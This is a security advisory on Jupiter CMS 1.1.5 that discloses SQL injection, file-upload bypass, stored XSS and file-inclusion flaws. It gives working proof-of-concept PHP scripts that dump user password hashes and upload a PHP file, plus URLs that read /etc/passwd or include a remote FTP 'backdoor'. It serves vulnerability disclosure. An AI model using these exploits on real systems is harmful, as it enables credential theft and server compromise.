Title:    Jupiter CMS 1.1.5 Multiple Vulnerabilities

Advisory ID: 12070214
Risk level: High
Author: DarkFig <[email protected]>
URL: http://www.acid-root.new.fr/advisories/12070214.txt

.: [ OVERVIEW ]

Jupiter CMS 1.1.5 is a powerful user-friendly Community Management System.
Advanced boxes/block system, members management, high-end forums, topics,
statistics, emoticons/logs management. A new version is actually in coding,
however the latest stable version is 1.1.5.

I decided to download it because a friend tell me that he was going to use
it for his website and he asked me if I could audit it. The first thing I
realised is that they directly used the $_SERVER array (without protection
against SQL Injection attacks) in several SQL request. The second vulnerability
i found, is that the script do not check for file extensions when a user upload
an emoticon, and the access protection of the "modules" directory files can be
bypassed. There is also a remote/local file inclusion with the "n" parameter,
and a permanent XSS.

.: [ VULN #1 ]

Risk level: Medium
Summary: find_ip() SQL Injection
Conditions: None

The script "includes/functions.php" contains the following functions:

function find_ip() {
if (getenv('HTTP_CLIENT_IP')) $ip = getenv('HTTP_CLIENT_IP');
elseif (getenv('HTTP_X_FORWARDED_FOR')) $ip = getenv('HTTP_X_FORWARDED_FOR');
elseif (getenv('HTTP_X_FORWARDED')) $ip = getenv('HTTP_X_FORWARDED');
elseif (getenv('HTTP_FORWARDED_FOR')) $ip = getenv('HTTP_FORWARDED_FOR');
elseif (getenv('HTTP_FORWARDED')) $ip = getenv('HTTP_FORWARDED');
else $ip = $_SERVER['REMOTE_ADDR'];
return $ip;
}

This function is called from others PHP scripts in order to determine the IP
of the client. But the majority of headers can be modified by the user. For the
most part of the time, this function is used in SQL requests. For example, the
script "index.php" contains the following SQL request:

$ban_ip_check = $db->getLine("SELECT ip, date FROM bans WHERE ip = '".find_ip()."'");
if($ban_ip_check != FALSE) {
?>
<link href="templates/<?= $template ?>/extra/jupiter.css" rel="stylesheet" type="tex
<div id="attentionwrapper">
<table class="main" height="1%" cellspacing="1" cellpadding="4"><col width="1%"><col
<tr height="1%" class="head"><td class="head" colspan="2"><?= $language['Bans name']
<tr height="1%"><td class="con1" rowspan="5" valign="top"><img src="templates/<?= $t
<tr height="1%" class="bottom"><td valign="top"><?= $language['Bans title'] ?></td><
<tr height="1%"><td class="con1"><?= $language['Bans desc'] ?> <?= $ban_ip_check['ip
<tr height="1%" class="bottom"><td valign="top"><?= $language['Bans title2'] ?></td>
</table>
</div>
<? exit;
}

magic_quotes_gpc is not applied to $_SERVER array, so this can lead to SQL
Injection attack even if magic_quotes_gpc = On. One result of the SQL request
is returned to the user, so this is a simple SQL Injection (not a blind). This
simple poc illustrate how an attacker can exploit this vulnerability:

SQL Injection Vulnerability (POC #1)

require("phpsploitclass.php"); # See [1]
error_reporting(E_ALL ^ E_NOTICE);
$url = 'http://localhost/jupiter/&#39;;

$xpl = new phpsploit();
$xpl->agent("Mozilla");
$hev = "-1' UNION SELECT CONCAT('"
."[BEGIN_XPL_USER]',"
."(SELECT username FROM users LIMIT 0,1),'"
."[END_XPL_USER]','"
."[BEGIN_XPL_PWD]',"
."(SELECT password FROM users LIMIT 0,1),'"
."[END_XPL_PWD]'),1 #";

$xpl->addheader("Client-IP",$hev);
$xpl->get($url);
preg_match("#\[BEGIN_XPL_USER\](.*)\[END_XPL_USER\]#",$xpl->getcontent(),$usr);
preg_match("#\[BEGIN_XPL_PWD\]([a-z0-9]{32})\[END_XPL_PWD\]#",$xpl->getcontent(),$pwd);
print $usr[1].'::'.$pwd[1];

EOF POC #1

.: [ VULN #2 ]

Risk level: High
Summary: File Upload Vulnerability
Conditions: register_globals = On

All scripts situated in the "modules" directory can be executed by a guest,
for example let's see "modules/emoticons.php" access protection :

if(isset($is_guest) || isset($is_user))
{ header("location: $PHP_SELF?i=2"); exit; }

An attacker can access to this script, simply by sending a GET request
which contains the "is_guest" and "is_user" variables. For the most part of
the time, this is not critical because the script use several functions
stored in other files (not include), this return a Fatal Error. But if the
"a" parameter is set to 1 the script "modules/emoticons.php" let us upload
a file, before producing a Fatal Error. Let's see the upload protection:

$allowed_types = array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/png', 'image/x-png');
if(!in_array($uploaded_file['type'],$allowed_types)){
header("location: $PHP_SELF?n=modules/emoticons&i=30");exit;
}

So what we have to do to bypass this protection, is just to modify the
"Content-Type" header. This poc illustrate how an attacker can upload a
malicious php file:

File Upload Vulnerability (POC #2)

require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);
$url = 'http://localhost/jupiter/&#39;;

$xpl = new phpsploit();
$xpl->agent("Mozilla");
$arr = array(frmdt_url => $url,
"is_guest" => 1,
"is_user" => 1,
"a" => 1,
"req_file" => array(frmdt_filename => "iamaphpfile.php",
frmdt_type => "image/jpeg",
frmdt_content => "<?php echo(iamontheserver); ?>"));
$xpl->formdata($arr);
$xpl->get($url.'images/emoticons/iamaphpfile.php');
print($xpl->getcontent());

EOF POC #2

.: [ VULN #3 ]

Risk level: Low
Summary: "Logged Guests" XSS
Conditions: None

The script "index.php" insert (in the database) some informations sent by
the web browser.

if(!isset($_SESSION['in_site']))
{
$db->insertRow("online",array('sid' => ''.$session_id.'',
'type' => 'live','status' => 'guest','user' => NULL,'user_id' => NULL,
'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,
'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'',
'refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'',
'lang' => ''.$lang.'','date' => ''.time().''));

$db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'log',
'status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,
'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,
'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'',
'browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'',
'date' => ''.time().''));

$_SESSION['in_site'] = 1;
}

All data inserted in the database are protected against SQL Injection attacks,
however they're not protected against XSS. This is a permanent XSS, the malicious
code will be executed when the admin will click on "Logged Guest". Proof of concept:

"Logged Guest" XSS Vulnerability (POC #3)

require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);
$url = 'http://localhost/jupiter/&#39;;

$xpl = new phpsploit();
$xpl->agent("Mozilla");
$xpl->addheader("Referer", "<script>alert('XSS VULN')</script>");
$xpl->get($url);

EOF POC #3

.: [ VULN #4 ]

Risk level: High
Summary: Local/Remote File Inclusion
Conditions: LFI: magic_quotes_gpc = Off
RFI: PHP >= 5.0.0, allow_url_fopen = On

The script "index.php" contains the following code:

if(isset($n))
{
if(file_exists("$n.php"))
{
if(strpos($n, "…/") !== false) header("location: $PHP_SELF?i=error");
else include("$n.php");
}
elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");
}

The "n" parameter isn't properly filtered, this can lead to file inclusion.
Local file inclusion will work if magic_quotes_gpc=Off, the null byte char \x00
is required. Remote file inclusion will work if the server is running on PHP >= 5.
In this version, the file_exists() function can be used with some URL wrappers,
you can use ftp:// for example. Simple poc:

LFI: http://<host><path>/index.php?n=/etc/passwd%00
RFI: http://<host><path>/index.php?n=ftp://user:[email protected]/backdoor

.: [ LINKS ]

[1] PhpSploit Class
http://www.acid-root.new.fr/tools/03061230.txt

[2] FTP/FTPS with PHP
http://www.php.net/manual/en/wrappers.ftp.php

[3] Good paper about File Upload Vulnerability
http://shsc.info/FileUploadSecurity

[4] X-Forwarded-For
http://en.wikipedia.org/wiki/X-Forwarded-For

[5] AcidRoot
http://www.acid-root.new.fr